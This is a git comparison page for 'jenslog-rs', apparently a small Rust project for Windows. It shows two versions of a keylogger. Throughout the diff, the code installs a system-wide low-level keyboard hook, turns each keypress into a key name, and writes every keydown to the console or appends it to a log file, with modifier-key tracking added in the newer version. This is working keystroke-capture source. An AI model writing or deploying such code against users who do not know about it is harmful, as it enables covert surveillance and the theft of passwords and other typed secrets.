Compare commits
No commits in common. "master" and "0.1.0" have entirely different histories.
10 changed files with 52 additions and 249 deletions
|
@ -1,6 +1,6 @@
|
||||||
[package]
|
[package]
|
||||||
name = "jenslog-rs"
|
name = "jenslog-rs"
|
||||||
version = "0.1.1"
|
version = "0.1.0"
|
||||||
authors = ["LordMZTE <lord@mzte.de>"]
|
authors = ["LordMZTE <lord@mzte.de>"]
|
||||||
edition = "2018"
|
edition = "2018"
|
||||||
|
|
||||||
|
|
|
@ -1,40 +0,0 @@
|
||||||
#![macro_use]
|
|
||||||
|
|
||||||
use winapi::um::winuser::{HOOKPROC, SetWindowsHookExA, GetMessageW};
|
|
||||||
use std::ptr::null_mut;
|
|
||||||
|
|
||||||
#[macro_export]
|
|
||||||
//im suprised this works.
|
|
||||||
macro_rules! hookproc {
|
|
||||||
($i:expr) => {{
|
|
||||||
use std::option::Option::Some;
|
|
||||||
use winapi::um::winuser::PKBDLLHOOKSTRUCT;
|
|
||||||
|
|
||||||
unsafe extern "system" fn hookproc(code: i32, w_param: usize, l_param: isize) -> isize {
|
|
||||||
$i(code, w_param, *(l_param as PKBDLLHOOKSTRUCT));
|
|
||||||
0
|
|
||||||
}
|
|
||||||
|
|
||||||
Some(hookproc)
|
|
||||||
}}
|
|
||||||
}
|
|
||||||
|
|
||||||
pub struct Keyhook {
|
|
||||||
pub callback: HOOKPROC,
|
|
||||||
}
|
|
||||||
|
|
||||||
impl Keyhook {
|
|
||||||
/// use `hookproc` macro here to get callback from closure
|
|
||||||
pub fn new(callback: HOOKPROC) -> Self {
|
|
||||||
Self {
|
|
||||||
callback,
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
pub fn start(&self) {
|
|
||||||
unsafe {
|
|
||||||
SetWindowsHookExA(13, self.callback.clone(), null_mut(), 0);
|
|
||||||
GetMessageW(null_mut(), null_mut(), 0, 0);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
|
@ -1,95 +0,0 @@
|
||||||
use std::ffi::OsString;
|
|
||||||
|
|
||||||
use winapi::um::winuser::{GetKeyNameTextW, KBDLLHOOKSTRUCT, LLKHF_EXTENDED, LLKHF_UP};
|
|
||||||
use wio::wide::FromWide;
|
|
||||||
use crate::FlagOperations;
|
|
||||||
|
|
||||||
#[allow(clippy::struct_excessive_bools)]
|
|
||||||
pub struct KeyState {
|
|
||||||
pub kbdllstruct: KBDLLHOOKSTRUCT,
|
|
||||||
|
|
||||||
pub shift_down: bool,
|
|
||||||
pub ctrl_down: bool,
|
|
||||||
pub win_down: bool,
|
|
||||||
pub alt_down: bool,
|
|
||||||
}
|
|
||||||
|
|
||||||
impl KeyState {
|
|
||||||
pub fn new() -> Box<Self> {
|
|
||||||
Box::new(Self {
|
|
||||||
kbdllstruct: KBDLLHOOKSTRUCT {
|
|
||||||
vkCode: 0,
|
|
||||||
scanCode: 0,
|
|
||||||
flags: 0,
|
|
||||||
time: 0,
|
|
||||||
dwExtraInfo: 0,
|
|
||||||
},
|
|
||||||
shift_down: false,
|
|
||||||
ctrl_down: false,
|
|
||||||
win_down: false,
|
|
||||||
alt_down: false,
|
|
||||||
})
|
|
||||||
}
|
|
||||||
|
|
||||||
/// `key_down` if the event was a keydown event, this should be true. if it was keyup it should be false
|
|
||||||
pub fn update(&mut self, key: KBDLLHOOKSTRUCT) {
|
|
||||||
let key_down = !key.flags.get_flag(LLKHF_UP);
|
|
||||||
self.kbdllstruct = key;
|
|
||||||
|
|
||||||
match key.vkCode {
|
|
||||||
160 | 161 => self.shift_down = key_down,
|
|
||||||
162 | 163 => self.ctrl_down = key_down,
|
|
||||||
164 | 165 => self.alt_down = key_down,
|
|
||||||
91 => self.win_down = key_down,
|
|
||||||
_ => {},
|
|
||||||
};
|
|
||||||
}
|
|
||||||
|
|
||||||
/// true if the key is an auxiliary key like shift, control or the windows key
|
|
||||||
pub fn is_aux_key(&self) -> bool {
|
|
||||||
matches!(self.kbdllstruct.vkCode, 160..=165 | 91)
|
|
||||||
}
|
|
||||||
|
|
||||||
#[no_mangle] //required to not get garbage from native call
|
|
||||||
pub fn name(&self) -> String {
|
|
||||||
unsafe {
|
|
||||||
let flags = if self.kbdllstruct.flags.get_flag(LLKHF_EXTENDED) { 1 << 24 } else { 0 };
|
|
||||||
|
|
||||||
let mut out = [0_u16; 128];
|
|
||||||
GetKeyNameTextW((self.kbdllstruct.scanCode << 16 | flags /*this distinguishes special keys by setting a flag. yes only microsoft thinks that input and flags in 1 param is a good idea*/) as i32, (&mut out).as_mut_ptr(), 128);
|
|
||||||
let null_pos = out.iter().position(|x| *x == b'\0' as u16).unwrap_or_else(|| out.len());
|
|
||||||
OsString::from_wide(&out[..null_pos]).to_str().unwrap().to_owned()
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
///true if this event is keydown, otherwise false
|
|
||||||
pub fn is_down(&self) -> bool {
|
|
||||||
!self.kbdllstruct.flags.get_flag(LLKHF_UP)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
#[cfg(test)]
|
|
||||||
mod tests {
|
|
||||||
use crate::key::keystate::KeyState;
|
|
||||||
use winapi::um::winuser::LLKHF_UP;
|
|
||||||
|
|
||||||
#[test]
|
|
||||||
fn is_aux_key() {
|
|
||||||
let mut k = KeyState::new();
|
|
||||||
k.kbdllstruct.vkCode = 160;
|
|
||||||
assert!(k.is_aux_key());
|
|
||||||
}
|
|
||||||
|
|
||||||
#[test]
|
|
||||||
fn is_down() {
|
|
||||||
let mut k = KeyState::new();
|
|
||||||
|
|
||||||
k.kbdllstruct.flags = LLKHF_UP;
|
|
||||||
|
|
||||||
assert!(!k.is_down());
|
|
||||||
|
|
||||||
k.kbdllstruct.flags = 0;
|
|
||||||
|
|
||||||
assert!(k.is_down());
|
|
||||||
}
|
|
||||||
}
|
|
|
@ -1,2 +0,0 @@
|
||||||
pub mod keystate;
|
|
||||||
pub mod keyhook;
|
|
75
src/lib.rs
75
src/lib.rs
|
@ -1,65 +1,16 @@
|
||||||
//region Clippy config
|
use winapi::um::winuser::GetKeyNameTextW;
|
||||||
#![warn(clippy::pedantic)]
|
use std::ffi::OsString;
|
||||||
//disable silly rules
|
use wio::wide::FromWide;
|
||||||
#![allow(
|
|
||||||
clippy::module_name_repetitions, //complains about function names which makes no sense, so disabled
|
|
||||||
clippy::must_use_candidate, //no i dont want to add the must_use attribute to everything
|
|
||||||
clippy::cast_lossless, clippy::cast_possible_wrap, //lossy casts are required to work with garbage WinApi
|
|
||||||
)]
|
|
||||||
//endregion
|
|
||||||
|
|
||||||
pub mod logging;
|
pub mod logger;
|
||||||
pub mod key;
|
|
||||||
|
|
||||||
macro_rules! impl_flag_operations {
|
#[no_mangle]
|
||||||
($($ty:ty),*) => {
|
pub fn scan_code_to_key_name(scan_code: u32) -> String {
|
||||||
$(
|
unsafe {
|
||||||
impl FlagOperations for $ty {
|
let mut out = [0u16; 128];
|
||||||
fn has_one_bit_set(&self) -> bool {
|
GetKeyNameTextW((scan_code << 16) as i32, (&mut out).as_mut_ptr(), 128);
|
||||||
*self > 0 && *self & (*self - 1) == 0
|
let null_pos = out.iter().position(|x| *x == b'\0' as u16).unwrap_or_else(|| out.len());
|
||||||
}
|
//use to_string_lossy to avoid unicode checks for better performance. if the windows api screws up thats not my fault :P
|
||||||
|
OsString::from_wide(&out[..null_pos]).to_string_lossy().into()
|
||||||
fn get_flag(&self, flag: Self) -> bool {
|
|
||||||
if flag.has_one_bit_set() {
|
|
||||||
self & flag != 0
|
|
||||||
} else {
|
|
||||||
panic!("flag must have 1 bit set")
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
)*
|
|
||||||
};
|
|
||||||
}
|
|
||||||
impl_flag_operations!(usize, u8, u16, u32, u64, u128, isize, i8, i16, i32, i64, i128);
|
|
||||||
|
|
||||||
trait FlagOperations {
|
|
||||||
///true if exactly 1 bit of the given number is set
|
|
||||||
fn has_one_bit_set(&self) -> bool;
|
|
||||||
|
|
||||||
///gets the flag at the position of `flag`. `flag` must have exactly 1 bit set
|
|
||||||
/// `flag` should have 1 bit set at the position of the flag to get
|
|
||||||
fn get_flag(&self, flag: Self) -> bool;
|
|
||||||
}
|
|
||||||
|
|
||||||
#[cfg(test)]
|
|
||||||
mod tests {
|
|
||||||
use crate::FlagOperations;
|
|
||||||
|
|
||||||
#[test]
|
|
||||||
fn get_flag() {
|
|
||||||
assert!(5.get_flag(1 << 2));
|
|
||||||
assert!(!3.get_flag(1 << 2));
|
|
||||||
}
|
}
|
||||||
|
}
|
||||||
#[test]
|
|
||||||
#[should_panic]
|
|
||||||
fn get_flag_panic() {
|
|
||||||
0.get_flag(3);
|
|
||||||
}
|
|
||||||
|
|
||||||
#[test]
|
|
||||||
fn has_one_bit_set() {
|
|
||||||
assert!(1.has_one_bit_set());
|
|
||||||
assert!(!3.has_one_bit_set());
|
|
||||||
}
|
|
||||||
}
|
|
13
src/logger/logger.rs
Normal file
13
src/logger/logger.rs
Normal file
|
@ -0,0 +1,13 @@
|
||||||
|
use winapi::um::winuser::KBDLLHOOKSTRUCT;
|
||||||
|
use crate::logger::loggers::{ConsoleLogger, FileLogger};
|
||||||
|
|
||||||
|
pub trait Logger: Sync {
|
||||||
|
fn log(&self, key: &KBDLLHOOKSTRUCT);
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn get_logger(name: &str) -> Box<dyn Logger> {
|
||||||
|
match name {
|
||||||
|
"file" => Box::new(FileLogger::new_default()),
|
||||||
|
_ => Box::new(ConsoleLogger),
|
||||||
|
}
|
||||||
|
}
|
|
@ -1,14 +1,15 @@
|
||||||
use crate::logging::logger::Logger;
|
use crate::logger::logger::Logger;
|
||||||
|
use winapi::um::winuser::KBDLLHOOKSTRUCT;
|
||||||
|
use crate::scan_code_to_key_name;
|
||||||
use std::fs::{File, OpenOptions};
|
use std::fs::{File, OpenOptions};
|
||||||
use std::io::Write;
|
use std::io::Write;
|
||||||
use std::path::Path;
|
use std::path::Path;
|
||||||
use std::sync::Mutex;
|
use std::sync::Mutex;
|
||||||
use crate::key::keystate::KeyState;
|
|
||||||
|
|
||||||
pub struct ConsoleLogger;
|
pub struct ConsoleLogger;
|
||||||
impl Logger for ConsoleLogger {
|
impl Logger for ConsoleLogger {
|
||||||
fn log(&self, key: &KeyState) {
|
fn log(&self, key: &KBDLLHOOKSTRUCT) {
|
||||||
println!("{}", Logger::default_format(key))
|
println!("{} >> {}", key.vkCode, scan_code_to_key_name(key.scanCode));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -29,7 +30,7 @@ impl FileLogger {
|
||||||
}
|
}
|
||||||
|
|
||||||
impl Logger for FileLogger {
|
impl Logger for FileLogger {
|
||||||
fn log(&self, key: &KeyState) {
|
fn log(&self, key: &KBDLLHOOKSTRUCT) {
|
||||||
self.file.lock().unwrap().write_all(format!("{}\n", Logger::default_format(key)).as_ref()).unwrap();
|
self.file.lock().unwrap().write_all(format!("{} >> {}\n", key.vkCode, scan_code_to_key_name(key.scanCode)).as_ref()).unwrap();
|
||||||
}
|
}
|
||||||
}
|
}
|
|
@ -1,27 +0,0 @@
|
||||||
use crate::logging::loggers::{ConsoleLogger, FileLogger};
|
|
||||||
use crate::key::keystate::KeyState;
|
|
||||||
|
|
||||||
pub trait Logger: Sync {
|
|
||||||
fn log(&self, key: &KeyState);
|
|
||||||
}
|
|
||||||
|
|
||||||
pub fn get_logger(name: &str) -> Box<dyn Logger> {
|
|
||||||
match name {
|
|
||||||
"file" => Box::new(FileLogger::new_default()),
|
|
||||||
_ => Box::new(ConsoleLogger),
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
impl dyn Logger {
|
|
||||||
pub fn default_format(key: &KeyState) -> String {
|
|
||||||
format!(
|
|
||||||
"{} >> {}{}{}{} >> {}",
|
|
||||||
key.kbdllstruct.vkCode,
|
|
||||||
if key.win_down { "w" } else { "" },
|
|
||||||
if key.ctrl_down { "c" } else { "" },
|
|
||||||
if key.shift_down { "s" } else { "" },
|
|
||||||
if key.alt_down { "a" } else { "" },
|
|
||||||
key.name()
|
|
||||||
)
|
|
||||||
}
|
|
||||||
}
|
|
34
src/main.rs
34
src/main.rs
|
@ -1,27 +1,29 @@
|
||||||
#[macro_use(hookproc)]
|
|
||||||
extern crate jenslog_rs;
|
|
||||||
#[macro_use]
|
#[macro_use]
|
||||||
extern crate lazy_static;
|
extern crate lazy_static;
|
||||||
|
|
||||||
use std::env::args;
|
use std::env::args;
|
||||||
use std::sync::Mutex;
|
use std::ptr::null_mut;
|
||||||
|
|
||||||
use jenslog_rs::{key::keystate::KeyState, logging::logger::{get_logger, Logger}};
|
use winapi::um::winuser::{GetMessageW, PKBDLLHOOKSTRUCT, SetWindowsHookExA};
|
||||||
use jenslog_rs::key::keyhook::Keyhook;
|
|
||||||
|
use jenslog_rs::logger::logger::{get_logger, Logger};
|
||||||
|
|
||||||
lazy_static! {
|
lazy_static! {
|
||||||
static ref KEYSTATE: Mutex<Box<KeyState>> = Mutex::new(KeyState::new());
|
pub static ref LOGGER: Box<dyn Logger> = get_logger(&args().nth(1).unwrap_or_default());
|
||||||
static ref LOGGER: Box<dyn Logger> = get_logger(&args().nth(1).unwrap_or_default());
|
|
||||||
}
|
}
|
||||||
|
//static mut LOGGER: Box<dyn Logger> = get_logger(args().nth(0).map(|k| k.as_str()));
|
||||||
|
|
||||||
fn main() {
|
fn main() {
|
||||||
let hook = Keyhook::new(hookproc!(|_, _, key| {
|
unsafe {
|
||||||
let mut state = KEYSTATE.lock().unwrap();
|
SetWindowsHookExA(13, Some(hook_callback), null_mut(), 0);
|
||||||
state.update(key);
|
GetMessageW(null_mut(), null_mut(), 0, 0);
|
||||||
//Check if keydown and not aux key
|
}
|
||||||
if state.is_down() && !state.is_aux_key() {
|
}
|
||||||
LOGGER.log(&state);
|
|
||||||
}
|
unsafe extern "system" fn hook_callback(_code: i32, w_param: usize, l_param: isize) -> isize {
|
||||||
}));
|
//Check if keydown
|
||||||
hook.start();
|
if w_param != 256 { return 0; }
|
||||||
|
let key = *(l_param as PKBDLLHOOKSTRUCT);
|
||||||
|
LOGGER.log(&key);
|
||||||
|
0
|
||||||
}
|
}
|
||||||
|
|
Loading…
Reference in a new issue